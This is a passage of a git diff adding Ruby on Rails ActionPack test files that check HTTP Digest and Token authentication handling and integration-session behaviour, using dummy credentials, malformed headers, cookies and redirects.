+      "Basic #{::Base64.encode64("#{username}:#{password}")}"
+    end
+end
diff --git a/actionpack/test/controller/http_digest_authentication_test.rb b/actionpack/test/controller/http_digest_authentication_test.rb
new file mode 100644
index 0000000000..76ff784926
--- /dev/null
+++ b/actionpack/test/controller/http_digest_authentication_test.rb
@@ -0,0 +1,282 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/key_generator"
+
+class HttpDigestAuthenticationTest < ActionController::TestCase
+  class DummyDigestController < ActionController::Base
+    before_action :authenticate, only: :index
+    before_action :authenticate_with_request, only: :display
+
+    USERS = { "lifo" => "world", "pretty" => "please",
+              "dhh" => ::Digest::MD5::hexdigest(["dhh", "SuperSecret", "secret"].join(":")) }
+
+    def index
+      render plain: "Hello Secret"
+    end
+
+    def display
+      render plain: "Definitely Maybe" if @logged_in
+    end
+
+    private
+
+      def authenticate
+        authenticate_or_request_with_http_digest("SuperSecret") do |username|
+          # Returns the password
+          USERS[username]
+        end
+      end
+
+      def authenticate_with_request
+        if authenticate_with_http_digest("SuperSecret")  { |username| USERS[username] }
+          @logged_in = true
+        else
+          request_http_digest_authentication("SuperSecret", "Authentication Failed")
+        end
+      end
+  end
+
+  AUTH_HEADERS = ["HTTP_AUTHORIZATION", "X-HTTP_AUTHORIZATION", "X_HTTP_AUTHORIZATION", "REDIRECT_X_HTTP_AUTHORIZATION"]
+
+  tests DummyDigestController
+
+  setup do
+    # Used as secret in generating nonce to prevent tampering of timestamp
+    @secret = "4fb45da9e4ab4ddeb7580d6a35503d99"
+    @request.env["action_dispatch.key_generator"] = ActiveSupport::LegacyKeyGenerator.new(@secret)
+  end
+
+  teardown do
+    # ActionController::Base.session_options[:secret] = @old_secret
+  end
+
+  AUTH_HEADERS.each do |header|
+    test "successful authentication with #{header.downcase}" do
+      @request.env[header] = encode_credentials(username: "lifo", password: "world")
+      get :index
+
+      assert_response :success
+      assert_equal "Hello Secret", @response.body, "Authentication failed for request header #{header}"
+    end
+  end
+
+  AUTH_HEADERS.each do |header|
+    test "unsuccessful authentication with #{header.downcase}" do
+      @request.env[header] = encode_credentials(username: "h4x0r", password: "world")
+      get :index
+
+      assert_response :unauthorized
+      assert_equal "HTTP Digest: Access denied.\n", @response.body, "Authentication didn't fail for request header #{header}"
+    end
+  end
+
+  test "authentication request without credential" do
+    get :display
+
+    assert_response :unauthorized
+    assert_equal "Authentication Failed", @response.body
+    credentials = decode_credentials(@response.headers["WWW-Authenticate"])
+    assert_equal "SuperSecret", credentials[:realm]
+  end
+
+  test "authentication request with nil credentials" do
+    @request.env["HTTP_AUTHORIZATION"] = encode_credentials(username: nil, password: nil)
+    get :index
+
+    assert_response :unauthorized
+    assert_equal "HTTP Digest: Access denied.\n", @response.body, "Authentication didn't fail for request"
+    assert_not_equal "Hello Secret", @response.body, "Authentication didn't fail for request"
+  end
+
+  test "authentication request with invalid password" do
+    @request.env["HTTP_AUTHORIZATION"] = encode_credentials(username: "pretty", password: "foo")
+    get :display
+
+    assert_response :unauthorized
+    assert_equal "Authentication Failed", @response.body
+  end
+
+  test "authentication request with invalid nonce" do
+    @request.env["HTTP_AUTHORIZATION"] = encode_credentials(username: "pretty", password: "please", nonce: "xxyyzz")
+    get :display
+
+    assert_response :unauthorized
+    assert_equal "Authentication Failed", @response.body
+  end
+
+  test "authentication request with invalid opaque" do
+    @request.env["HTTP_AUTHORIZATION"] = encode_credentials(username: "pretty", password: "foo", opaque: "xxyyzz")
+    get :display
+
+    assert_response :unauthorized
+    assert_equal "Authentication Failed", @response.body
+  end
+
+  test "authentication request with invalid realm" do
+    @request.env["HTTP_AUTHORIZATION"] = encode_credentials(username: "pretty", password: "foo", realm: "NotSecret")
+    get :display
+
+    assert_response :unauthorized
+    assert_equal "Authentication Failed", @response.body
+  end
+
+  test "authentication request with valid credential" do
+    @request.env["HTTP_AUTHORIZATION"] = encode_credentials(username: "pretty", password: "please")
+    get :display
+
+    assert_response :success
+    assert_equal "Definitely Maybe", @response.body
+  end
+
+  test "authentication request with valid credential and nil session" do
+    @request.env["HTTP_AUTHORIZATION"] = encode_credentials(username: "pretty", password: "please")
+
+    get :display
+
+    assert_response :success
+    assert_equal "Definitely Maybe", @response.body
+  end
+
+  test "authentication request with request-uri that doesn't match credentials digest-uri" do
+    @request.env["HTTP_AUTHORIZATION"] = encode_credentials(username: "pretty", password: "please")
+    @request.env["PATH_INFO"] = "/proxied/uri"
+    get :display
+
+    assert_response :success
+    assert_equal "Definitely Maybe", @response.body
+  end
+
+  test "authentication request with absolute request uri (as in webrick)" do
+    @request.env["HTTP_AUTHORIZATION"] = encode_credentials(username: "pretty", password: "please")
+    @request.env["SERVER_NAME"] = "test.host"
+    @request.env["PATH_INFO"] = "/http_digest_authentication_test/dummy_digest"
+
+    get :display
+
+    assert_response :success
+    assert_equal "Definitely Maybe", @response.body
+  end
+
+  test "authentication request with absolute uri in credentials (as in IE)" do
+    @request.env["HTTP_AUTHORIZATION"] = encode_credentials(url: "http://test.host/http_digest_authentication_test/dummy_digest",
+                                                            username: "pretty", password: "please")
+
+    get :display
+
+    assert_response :success
+    assert_equal "Definitely Maybe", @response.body
+  end
+
+  test "authentication request with absolute uri in both request and credentials (as in Webrick with IE)" do
+    @request.env["HTTP_AUTHORIZATION"] = encode_credentials(url: "http://test.host/http_digest_authentication_test/dummy_digest",
+                                                            username: "pretty", password: "please")
+    @request.env["SERVER_NAME"] = "test.host"
+    @request.env["PATH_INFO"] = "/http_digest_authentication_test/dummy_digest"
+
+    get :display
+
+    assert_response :success
+    assert_equal "Definitely Maybe", @response.body
+  end
+
+  test "authentication request with password stored as ha1 digest hash" do
+    @request.env["HTTP_AUTHORIZATION"] = encode_credentials(username: "dhh",
+                                           password: ::Digest::MD5::hexdigest(["dhh", "SuperSecret", "secret"].join(":")),
+                                           password_is_ha1: true)
+    get :display
+
+    assert_response :success
+    assert_equal "Definitely Maybe", @response.body
+  end
+
+  test "authentication request with _method" do
+    @request.env["HTTP_AUTHORIZATION"] = encode_credentials(username: "pretty", password: "please", method: :post)
+    @request.env["rack.methodoverride.original_method"] = "POST"
+    put :display
+
+    assert_response :success
+    assert_equal "Definitely Maybe", @response.body
+  end
+
+  test "validate_digest_response should fail with nil returning password_procedure" do
+    @request.env["HTTP_AUTHORIZATION"] = encode_credentials(username: nil, password: nil)
+    assert !ActionController::HttpAuthentication::Digest.validate_digest_response(@request, "SuperSecret") { nil }
+  end
+
+  test "authentication request with request-uri ending in '/'" do
+    @request.env["PATH_INFO"] = "/http_digest_authentication_test/dummy_digest/"
+    @request.env["HTTP_AUTHORIZATION"] = encode_credentials(username: "pretty", password: "please")
+
+    # simulate normalizing PATH_INFO
+    @request.env["PATH_INFO"] = "/http_digest_authentication_test/dummy_digest"
+    get :display
+
+    assert_response :success
+    assert_equal "Definitely Maybe", @response.body
+  end
+
+  test "authentication request with request-uri ending in '?'" do
+    @request.env["PATH_INFO"] = "/http_digest_authentication_test/dummy_digest/?"
+    @request.env["HTTP_AUTHORIZATION"] = encode_credentials(username: "pretty", password: "please")
+
+    # simulate normalizing PATH_INFO
+    @request.env["PATH_INFO"] = "/http_digest_authentication_test/dummy_digest"
+    get :display
+
+    assert_response :success
+    assert_equal "Definitely Maybe", @response.body
+  end
+
+  test "authentication request with absolute uri in credentials (as in IE) ending with /" do
+    @request.env["PATH_INFO"] = "/http_digest_authentication_test/dummy_digest/"
+    @request.env["HTTP_AUTHORIZATION"] = encode_credentials(uri: "http://test.host/http_digest_authentication_test/dummy_digest/",
+                                                            username: "pretty", password: "please")
+
+    # simulate normalizing PATH_INFO
+    @request.env["PATH_INFO"] = "/http_digest_authentication_test/dummy_digest"
+    get :display
+
+    assert_response :success
+    assert_equal "Definitely Maybe", @response.body
+  end
+
+  test "when sent a basic auth header, returns Unauthorized" do
+    @request.env["HTTP_AUTHORIZATION"] = "Basic Gwf2aXq8ZLF3Hxq="
+
+    get :display
+
+    assert_response :unauthorized
+  end
+
+  private
+
+    def encode_credentials(options)
+      options.reverse_merge!(nc: "00000001", cnonce: "0a4f113b", password_is_ha1: false)
+      password = options.delete(:password)
+
+      # Perform unauthenticated request to retrieve digest parameters to use on subsequent request
+      method = options.delete(:method) || "GET"
+
+      case method.to_s.upcase
+      when "GET"
+        get :index
+      when "POST"
+        post :index
+      end
+
+      assert_response :unauthorized
+
+      credentials = decode_credentials(@response.headers["WWW-Authenticate"])
+      credentials.merge!(options)
+      path_info = @request.env["PATH_INFO"].to_s
+      uri = options[:uri] || path_info
+      credentials.merge!(uri: uri)
+      @request.env["ORIGINAL_FULLPATH"] = path_info
+      ActionController::HttpAuthentication::Digest.encode_credentials(method, credentials, password, options[:password_is_ha1])
+    end
+
+    def decode_credentials(header)
+      ActionController::HttpAuthentication::Digest.decode_credentials(header)
+    end
+end
diff --git a/actionpack/test/controller/http_token_authentication_test.rb b/actionpack/test/controller/http_token_authentication_test.rb
new file mode 100644
index 0000000000..672aa1351c
--- /dev/null
+++ b/actionpack/test/controller/http_token_authentication_test.rb
@@ -0,0 +1,216 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class HttpTokenAuthenticationTest < ActionController::TestCase
+  class DummyController < ActionController::Base
+    before_action :authenticate, only: :index
+    before_action :authenticate_with_request, only: :display
+    before_action :authenticate_long_credentials, only: :show
+
+    def index
+      render plain: "Hello Secret"
+    end
+
+    def display
+      render plain: "Definitely Maybe"
+    end
+
+    def show
+      render plain: "Only for loooooong credentials"
+    end
+
+    private
+
+      def authenticate
+        authenticate_or_request_with_http_token do |token, _|
+          token == "lifo"
+        end
+      end
+
+      def authenticate_with_request
+        if authenticate_with_http_token { |token, options| token == '"quote" pretty' && options[:algorithm] == "test" }
+          @logged_in = true
+        else
+          request_http_token_authentication("SuperSecret", "Authentication Failed\n")
+        end
+      end
+
+      def authenticate_long_credentials
+        authenticate_or_request_with_http_token do |token, options|
+          token == "1234567890123456789012345678901234567890" && options[:algorithm] == "test"
+        end
+      end
+  end
+
+  AUTH_HEADERS = ["HTTP_AUTHORIZATION", "X-HTTP_AUTHORIZATION", "X_HTTP_AUTHORIZATION", "REDIRECT_X_HTTP_AUTHORIZATION"]
+
+  tests DummyController
+
+  AUTH_HEADERS.each do |header|
+    test "successful authentication with #{header.downcase}" do
+      @request.env[header] = encode_credentials("lifo")
+      get :index
+
+      assert_response :success
+      assert_equal "Hello Secret", @response.body, "Authentication failed for request header #{header}"
+    end
+    test "successful authentication with #{header.downcase} and long credentials" do
+      @request.env[header] = encode_credentials("1234567890123456789012345678901234567890", algorithm: "test")
+      get :show
+
+      assert_response :success
+      assert_equal "Only for loooooong credentials", @response.body, "Authentication failed for request header #{header} and long credentials"
+    end
+  end
+
+  AUTH_HEADERS.each do |header|
+    test "unsuccessful authentication with #{header.downcase}" do
+      @request.env[header] = encode_credentials("h4x0r")
+      get :index
+
+      assert_response :unauthorized
+      assert_equal "HTTP Token: Access denied.\n", @response.body, "Authentication didn't fail for request header #{header}"
+    end
+    test "unsuccessful authentication with #{header.downcase} and long credentials" do
+      @request.env[header] = encode_credentials("h4x0rh4x0rh4x0rh4x0rh4x0rh4x0rh4x0rh4x0r")
+      get :show
+
+      assert_response :unauthorized
+      assert_equal "HTTP Token: Access denied.\n", @response.body, "Authentication didn't fail for request header #{header} and long credentials"
+    end
+  end
+
+  test "authentication request with badly formatted header" do
+    @request.env["HTTP_AUTHORIZATION"] = 'Token token$"lifo"'
+    get :index
+
+    assert_response :unauthorized
+    assert_equal "HTTP Token: Access denied.\n", @response.body, "Authentication header was not properly parsed"
+  end
+
+  test "successful authentication request with Bearer instead of Token" do
+    @request.env["HTTP_AUTHORIZATION"] = "Bearer lifo"
+    get :index
+
+    assert_response :success
+  end
+
+  test "authentication request with tab in header" do
+    @request.env["HTTP_AUTHORIZATION"] = "Token\ttoken=\"lifo\""
+    get :index
+
+    assert_response :success
+    assert_equal "Hello Secret", @response.body
+  end
+
+  test "authentication request without credential" do
+    get :display
+
+    assert_response :unauthorized
+    assert_equal "Authentication Failed\n", @response.body
+    assert_equal 'Token realm="SuperSecret"', @response.headers["WWW-Authenticate"]
+  end
+
+  test "authentication request with invalid credential" do
+    @request.env["HTTP_AUTHORIZATION"] = encode_credentials('"quote" pretty')
+    get :display
+
+    assert_response :unauthorized
+    assert_equal "Authentication Failed\n", @response.body
+    assert_equal 'Token realm="SuperSecret"', @response.headers["WWW-Authenticate"]
+  end
+
+  test "token_and_options returns correct token" do
+    token = "rcHu+HzSFw89Ypyhn/896A=="
+    actual = ActionController::HttpAuthentication::Token.token_and_options(sample_request(token)).first
+    expected = token
+    assert_equal(expected, actual)
+  end
+
+  test "token_and_options returns correct token with value after the equal sign" do
+    token = "rcHu+=HzSFw89Ypyhn/896A==f34"
+    actual = ActionController::HttpAuthentication::Token.token_and_options(sample_request(token)).first
+    expected = token
+    assert_equal(expected, actual)
+  end
+
+  test "token_and_options returns correct token with slashes" do
+    token = 'rcHu+\\\\"/896A'
+    actual = ActionController::HttpAuthentication::Token.token_and_options(sample_request(token)).first
+    expected = token
+    assert_equal(expected, actual)
+  end
+
+  test "token_and_options returns correct token with quotes" do
+    token = '\"quote\" pretty'
+    actual = ActionController::HttpAuthentication::Token.token_and_options(sample_request(token)).first
+    expected = token
+    assert_equal(expected, actual)
+  end
+
+  test "token_and_options returns empty string with empty token" do
+    token = "".dup
+    actual = ActionController::HttpAuthentication::Token.token_and_options(sample_request(token)).first
+    expected = token
+    assert_equal(expected, actual)
+  end
+
+  test "token_and_options returns correct token with nounce option" do
+    token = "rcHu+HzSFw89Ypyhn/896A="
+    nonce_hash = { nonce: "123abc" }
+    actual = ActionController::HttpAuthentication::Token.token_and_options(sample_request(token, nonce_hash))
+    expected_token = token
+    expected_nonce = { "nonce" => nonce_hash[:nonce] }
+    assert_equal(expected_token, actual.first)
+    assert_equal(expected_nonce, actual.last)
+  end
+
+  test "token_and_options returns nil with no value after the equal sign" do
+    actual = ActionController::HttpAuthentication::Token.token_and_options(malformed_request).first
+    assert_nil actual
+  end
+
+  test "raw_params returns a tuple of two key value pair strings" do
+    auth = sample_request("rcHu+HzSFw89Ypyhn/896A=").authorization.to_s
+    actual = ActionController::HttpAuthentication::Token.raw_params(auth)
+    expected = ["token=\"rcHu+HzSFw89Ypyhn/896A=\"", "nonce=\"def\""]
+    assert_equal(expected, actual)
+  end
+
+  test "token_and_options returns right token when token key is not specified in header" do
+    token = "rcHu+HzSFw89Ypyhn/896A="
+
+    actual = ActionController::HttpAuthentication::Token.token_and_options(
+      sample_request_without_token_key(token)
+    ).first
+
+    expected = token
+    assert_equal(expected, actual)
+  end
+
+  private
+
+    def sample_request(token, options = { nonce: "def" })
+      authorization = options.inject([%{Token token="#{token}"}]) do |arr, (k, v)|
+        arr << "#{k}=\"#{v}\""
+      end.join(", ")
+      mock_authorization_request(authorization)
+    end
+
+    def malformed_request
+      mock_authorization_request(%{Token token=})
+    end
+
+    def sample_request_without_token_key(token)
+      mock_authorization_request(%{Token #{token}})
+    end
+
+    def mock_authorization_request(authorization)
+      OpenStruct.new(authorization: authorization)
+    end
+
+    def encode_credentials(token, options = {})
+      ActionController::HttpAuthentication::Token.encode_credentials(token, options)
+    end
+end
diff --git a/actionpack/test/controller/integration_test.rb b/actionpack/test/controller/integration_test.rb
new file mode 100644
index 0000000000..fd1c5e693f
--- /dev/null
+++ b/actionpack/test/controller/integration_test.rb
@@ -0,0 +1,1122 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "controller/fake_controllers"
+require "rails/engine"
+
+class SessionTest < ActiveSupport::TestCase
+  StubApp = lambda { |env|
+    [200, { "Content-Type" => "text/html", "Content-Length" => "13" }, ["Hello, World!"]]
+  }
+
+  def setup
+    @session = ActionDispatch::Integration::Session.new(StubApp)
+  end
+
+  def test_https_bang_works_and_sets_truth_by_default
+    assert !@session.https?
+    @session.https!
+    assert @session.https?
+    @session.https! false
+    assert !@session.https?
+  end
+
+  def test_host!
+    assert_not_equal "glu.ttono.us", @session.host
+    @session.host! "rubyonrails.com"
+    assert_equal "rubyonrails.com", @session.host
+  end
+
+  def test_follow_redirect_raises_when_no_redirect
+    @session.stub :redirect?, false do
+      assert_raise(RuntimeError) { @session.follow_redirect! }
+    end
+  end
+
+  def test_get
+    path = "/index"; params = "blah"; headers = { location: "blah" }
+
+    assert_called_with @session, :process, [:get, path, params: params, headers: headers] do
+      @session.get(path, params: params, headers: headers)
+    end
+  end
+
+  def test_get_with_env_and_headers
+    path = "/index"; params = "blah"; headers = { location: "blah" }; env = { "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest" }
+    assert_called_with @session, :process, [:get, path, params: params, headers: headers, env: env] do
+      @session.get(path, params: params, headers: headers, env: env)
+    end
+  end
+
+  def test_post
+    path = "/index"; params = "blah"; headers = { location: "blah" }
+    assert_called_with @session, :process, [:post, path, params: params, headers: headers] do
+      @session.post(path, params: params, headers: headers)
+    end
+  end
+
+  def test_patch
+    path = "/index"; params = "blah"; headers = { location: "blah" }
+    assert_called_with @session, :process, [:patch, path, params: params, headers: headers] do
+      @session.patch(path, params: params, headers: headers)
+    end
+  end
+
+  def test_put
+    path = "/index"; params = "blah"; headers = { location: "blah" }
+    assert_called_with @session, :process, [:put, path, params: params, headers: headers] do
+      @session.put(path, params: params, headers: headers)
+    end
+  end
+
+  def test_delete
+    path = "/index"; params = "blah"; headers = { location: "blah" }
+    assert_called_with @session, :process, [:delete, path, params: params, headers: headers] do
+      @session.delete(path, params: params, headers: headers)
+    end
+  end
+
+  def test_head
+    path = "/index"; params = "blah"; headers = { location: "blah" }
+    assert_called_with @session, :process, [:head, path, params: params, headers: headers] do
+      @session.head(path, params: params, headers: headers)
+    end
+  end
+
+  def test_xml_http_request_get
+    path = "/index"; params = "blah"; headers = { location: "blah" }
+    assert_called_with @session, :process, [:get, path, params: params, headers: headers, xhr: true] do
+      @session.get(path, params: params, headers: headers, xhr: true)
+    end
+  end
+
+  def test_xml_http_request_post
+    path = "/index"; params = "blah"; headers = { location: "blah" }
+    assert_called_with @session, :process, [:post, path, params: params, headers: headers, xhr: true] do
+      @session.post(path, params: params, headers: headers, xhr: true)
+    end
+  end
+
+  def test_xml_http_request_patch
+    path = "/index"; params = "blah"; headers = { location: "blah" }
+    assert_called_with @session, :process, [:patch, path, params: params, headers: headers, xhr: true] do
+      @session.patch(path, params: params, headers: headers, xhr: true)
+    end
+  end
+
+  def test_xml_http_request_put
+    path = "/index"; params = "blah"; headers = { location: "blah" }
+    assert_called_with @session, :process, [:put, path, params: params, headers: headers, xhr: true] do
+      @session.put(path, params: params, headers: headers, xhr: true)
+    end
+  end
+
+  def test_xml_http_request_delete
+    path = "/index"; params = "blah"; headers = { location: "blah" }
+    assert_called_with @session, :process, [:delete, path, params: params, headers: headers, xhr: true] do
+      @session.delete(path, params: params, headers: headers, xhr: true)
+    end
+  end
+
+  def test_xml_http_request_head
+    path = "/index"; params = "blah"; headers = { location: "blah" }
+    assert_called_with @session, :process, [:head, path, params: params, headers: headers, xhr: true] do
+      @session.head(path, params: params, headers: headers, xhr: true)
+    end
+  end
+end
+
+class IntegrationTestTest < ActiveSupport::TestCase
+  def setup
+    @test = ::ActionDispatch::IntegrationTest.new(:app)
+  end
+
+  def test_opens_new_session
+    session1 = @test.open_session { |sess| }
+    session2 = @test.open_session # implicit session
+
+    assert !session1.equal?(session2)
+  end
+
+  # RSpec mixes Matchers (which has a #method_missing) into
+  # IntegrationTest's superclass.  Make sure IntegrationTest does not
+  # try to delegate these methods to the session object.
+  def test_does_not_prevent_method_missing_passing_up_to_ancestors
+    mixin = Module.new do
+      def method_missing(name, *args)
+        name.to_s == "foo" ? "pass" : super
+      end
+    end
+    @test.class.superclass.include(mixin)
+    begin
+      assert_equal "pass", @test.foo
+    ensure
+      # leave other tests as unaffected as possible
+      mixin.__send__(:remove_method, :method_missing)
+    end
+  end
+end
+
+# Tests that integration tests don't call Controller test methods for processing.
+# Integration tests have their own setup and teardown.
+class IntegrationTestUsesCorrectClass < ActionDispatch::IntegrationTest
+  def test_integration_methods_called
+    reset!
+
+    %w( get post head patch put delete ).each do |verb|
+      assert_nothing_raised { __send__(verb, "/") }
+    end
+  end
+end
+
+class IntegrationProcessTest < ActionDispatch::IntegrationTest
+  class IntegrationController < ActionController::Base
+    def get
+      respond_to do |format|
+        format.html { render plain: "OK", status: 200 }
+        format.js { render plain: "JS OK", status: 200 }
+        format.json { render json: "JSON OK", status: 200 }
+        format.xml { render xml: "<root></root>", status: 200 }
+        format.rss { render xml: "<root></root>", status: 200 }
+        format.atom { render xml: "<root></root>", status: 200 }
+      end
+    end
+
+    def get_with_params
+      render plain: "foo: #{params[:foo]}", status: 200
+    end
+
+    def post
+      render plain: "Created", status: 201
+    end
+
+    def method
+      render plain: "method: #{request.method.downcase}"
+    end
+
+    def cookie_monster
+      cookies["cookie_1"] = nil
+      cookies["cookie_3"] = "chocolate"
+      render plain: "Gone", status: 410
+    end
+
+    def set_cookie
+      cookies["foo"] = "bar"
+      head :ok
+    end
+
+    def get_cookie
+      render plain: cookies["foo"]
+    end
+
+    def redirect
+      redirect_to action_url("get")
+    end
+
+    def remove_header
+      response.headers.delete params[:header]
+      head :ok, "c" => "3"
+    end
+  end
+
+  def test_get
+    with_test_route_set do
+      get "/get"
+      assert_equal 200, status
+      assert_equal "OK", status_message
+      assert_response 200
+      assert_response :success
+      assert_response :ok
+      assert_equal({}, cookies.to_hash)
+      assert_equal "OK", body
+      assert_equal "OK", response.body
+      assert_kind_of Nokogiri::HTML::Document, html_document
+      assert_equal 1, request_count
+    end
+  end
+
+  def test_get_xml_rss_atom
+    %w[ application/xml application/rss+xml application/atom+xml ].each do |mime_string|
+      with_test_route_set do
+        get "/get", headers: { "HTTP_ACCEPT" => mime_string }
+        assert_equal 200, status
+        assert_equal "OK", status_message
+        assert_response 200
+        assert_response :success
+        assert_response :ok
+        assert_equal({}, cookies.to_hash)
+        assert_equal "<root></root>", body
+        assert_equal "<root></root>", response.body
+        assert_instance_of Nokogiri::XML::Document, html_document
+        assert_equal 1, request_count
+      end
+    end
+  end
+
+  def test_post
+    with_test_route_set do
+      post "/post"
+      assert_equal 201, status
+      assert_equal "Created", status_message
+      assert_response 201
+      assert_response :success
+      assert_response :created
+      assert_equal({}, cookies.to_hash)
+      assert_equal "Created", body
+      assert_equal "Created", response.body
+      assert_kind_of Nokogiri::HTML::Document, html_document
+      assert_equal 1, request_count
+    end
+  end
+
+  test "response cookies are added to the cookie jar for the next request" do
+    with_test_route_set do
+      cookies["cookie_1"] = "sugar"
+      cookies["cookie_2"] = "oatmeal"
+      get "/cookie_monster"
+      assert_equal "cookie_1=; path=/\ncookie_3=chocolate; path=/", headers["Set-Cookie"]
+      assert_equal({ "cookie_1" => "", "cookie_2" => "oatmeal", "cookie_3" => "chocolate" }, cookies.to_hash)
+    end
+  end
+
+  test "cookie persist to next request" do
+    with_test_route_set do
+      get "/set_cookie"
+      assert_response :success
+
+      assert_equal "foo=bar; path=/", headers["Set-Cookie"]
+      assert_equal({ "foo" => "bar" }, cookies.to_hash)
+
+      get "/get_cookie"
+      assert_response :success
+      assert_equal "bar", body
+
+      assert_nil headers["Set-Cookie"]
+      assert_equal({ "foo" => "bar" }, cookies.to_hash)
+    end
+  end
+
+  test "cookie persist to next request on another domain" do
+    with_test_route_set do
+      host! "37s.backpack.test"
+
+      get "/set_cookie"
+      assert_response :success
+
+      assert_equal "foo=bar; path=/", headers["Set-Cookie"]
+      assert_equal({ "foo" => "bar" }, cookies.to_hash)
+
+      get "/get_cookie"
+      assert_response :success
+      assert_equal "bar", body
+
+      assert_nil headers["Set-Cookie"]
+      assert_equal({ "foo" => "bar" }, cookies.to_hash)
+    end
+  end
+
+  def test_redirect
+    with_test_route_set do
+      get "/redirect"
+      assert_equal 302, status
+      assert_equal "Found", status_message
+      assert_response 302
+      assert_response :redirect
+      assert_response :found
+      assert_equal "<html><body>You are being <a href=\"http://www.example.com/get\">redirected</a>.</body></html>", response.body
+      assert_kind_of Nokogiri::HTML::Document, html_document
+      assert_equal 1, request_count
+
+      follow_redirect!
+      assert_response :success
+      assert_equal "/get", path
+
+      get "/moved"
+      assert_response :redirect
+      assert_redirected_to "/method"
+    end
+  end
+
+  def test_redirect_reset_html_document
+    with_test_route_set do
+      get "/redirect"
+      previous_html_document = html_document
+
+      follow_redirect!
+
+      assert_response :ok
+      refute_same previous_html_document, html_document
+    end
+  end
+
+  def test_xml_http_request_get
+    with_test_route_set do
+      get "/get", xhr: true
+      assert_equal 200, status
+      assert_equal "OK", status_message
+      assert_response 200
+      assert_response :success
+      assert_response :ok
+      assert_equal "JS OK", response.body
+    end
+  end
+
+  def test_request_with_bad_format
+    with_test_route_set do
+      get "/get.php", xhr: true
+      assert_equal 406, status
+      assert_response 406
+      assert_response :not_acceptable
+    end
+  end
+
+  test "creation of multiple integration sessions" do
+    integration_session # initialize first session
+    a = open_session
+    b = open_session
+
+    refute_same(a.integration_session, b.integration_session)
+  end
+
+  def test_get_with_query_string
+    with_test_route_set do
+      get "/get_with_params?foo=bar"
+      assert_equal "/get_with_params?foo=bar", request.env["REQUEST_URI"]
+      assert_equal "/get_with_params?foo=bar", request.fullpath
+      assert_equal "foo=bar", request.env["QUERY_STRING"]
+      assert_equal "foo=bar", request.query_string
+      assert_equal "bar", request.parameters["foo"]
+
+      assert_equal 200, status
+      assert_equal "foo: bar", response.body
+    end
+  end
+
+  def test_get_with_parameters
+    with_test_route_set do
+      get "/get_with_params", params: { foo: "bar" }
+      assert_equal "/get_with_params", request.env["PATH_INFO"]
+      assert_equal "/get_with_params", request.path_info
+      assert_equal "foo=bar", request.env["QUERY_STRING"]
+      assert_equal "foo=bar", request.query_string
+      assert_equal "bar", request.parameters["foo"]
+
+      assert_equal 200, status
+      assert_equal "foo: bar", response.body
+    end
+  end
+
+  def test_post_then_get_with_parameters_do_not_leak_across_requests
+    with_test_route_set do
+      post "/post", params: { leaks: "does-leak?" }
+
+      get "/get_with_params", params: { foo: "bar" }
+
+      assert request.env["rack.input"].string.empty?
+      assert_equal "foo=bar", request.env["QUERY_STRING"]
+      assert_equal "foo=bar", request.query_string
+      assert_equal "bar", request.parameters["foo"]
+      assert request.parameters["leaks"].nil?
+    end
+  end
+
+  def test_head
+    with_test_route_set do
+      head "/get"
+      assert_equal 200, status
+      assert_equal "", body
+
+      head "/post"
+      assert_equal 201, status
+      assert_equal "", body
+
+      get "/get/method"
+      assert_equal 200, status
+      assert_equal "method: get", body
+
+      head "/get/method"
+      assert_equal 200, status
+      assert_equal "", body
+    end
+  end
+
+  def test_generate_url_with_controller
+    assert_equal "http://www.example.com/foo", url_for(controller: "foo")
+  end
+
+  def test_port_via_host!
+    with_test_route_set do
+      host! "www.example.com:8080"
+      get "/get"
+      assert_equal 8080, request.port
+    end
+  end
+
+  def test_port_via_process
+    with_test_route_set do
+      get "http://www.example.com:8080/get"
+      assert_equal 8080, request.port
+    end
+  end
+
+  def test_https_and_port_via_host_and_https!
+    with_test_route_set do
+      host! "www.example.com"
+      https! true
+
+      get "/get"
+      assert_equal 443, request.port
+      assert_equal true, request.ssl?
+
+      host! "www.example.com:443"
+      https! true
+
+      get "/get"
+      assert_equal 443, request.port
+      assert_equal true, request.ssl?
+
+      host! "www.example.com:8443"
+      https! true
+
+      get "/get"
+      assert_equal 8443, request.port
+      assert_equal true, request.ssl?
+    end
+  end
+
+  def test_https_and_port_via_process
+    with_test_route_set do
+      get "https://www.example.com/get"
+      assert_equal 443, request.port
+      assert_equal true, request.ssl?
+
+      get "https://www.example.com:8443/get"
+      assert_equal 8443, request.port
+      assert_equal true, request.ssl?
+    end
+  end
+
+  def test_respect_removal_of_default_headers_by_a_controller_action
+    with_test_route_set do
+      with_default_headers "a" => "1", "b" => "2" do
+        get "/remove_header", params: { header: "a" }
+      end
+    end
+
+    assert_not_includes @response.headers, "a", "Response should not include default header removed by the controller action"
+    assert_includes @response.headers, "b"
+    assert_includes @response.headers, "c"
+  end
+
+  def test_accept_not_overridden_when_xhr_true
+    with_test_route_set do
+      get "/get", headers: { "Accept" => "application/json" }, xhr: true
+      assert_equal "application/json", request.accept
+      assert_equal "application/json", response.content_type
+
+      get "/get", headers: { "HTTP_ACCEPT" => "application/json" }, xhr: true
+      assert_equal "application/json", request.accept
+      assert_equal "application/json", response.content_type
+    end
+  end
+
+  private
+    def with_default_headers(headers)
+      original = ActionDispatch::Response.default_headers
+      ActionDispatch::Response.default_headers = headers
+      yield
+    ensure
+      ActionDispatch::Response.default_headers = original
+    end
+
+    def with_test_route_set
+      with_routing do |set|
+        controller = ::IntegrationProcessTest::IntegrationController.clone
+        controller.class_eval do
+          include set.url_helpers
+        end
+
+        set.draw do
+          get "moved" => redirect("/method")
+
+          ActiveSupport::Deprecation.silence do
+            match ":action", to: controller, via: [:get, :post], as: :action
+            get "get/:action", to: controller, as: :get_action
+          end
+        end
+
+        singleton_class.include(set.url_helpers)
+
+        yield
+      end
+    end
+end
+
+class MetalIntegrationTest < ActionDispatch::IntegrationTest
+  include SharedTestRoutes.url_helpers
+
+  class Poller
+    def self.call(env)
+      if env["PATH_INFO"] =~ /^\/success/
+        [200, { "Content-Type" => "text/plain", "Content-Length" => "12" }, ["Hello World!"]]
+      else
+        [404, { "Content-Type" => "text/plain", "Content-Length" => "0" }, []]
+      end
+    end
+  end
+
+  def setup
+    @app = Poller
+  end
+
+  def test_successful_get
+    get "/success"
+    assert_response 200
+    assert_response :success
+    assert_response :ok
+    assert_equal "Hello World!", response.body
+  end
+
+  def test_failed_get
+    get "/failure"
+    assert_response 404
+    assert_response :not_found
+    assert_equal "", response.body
+  end
+
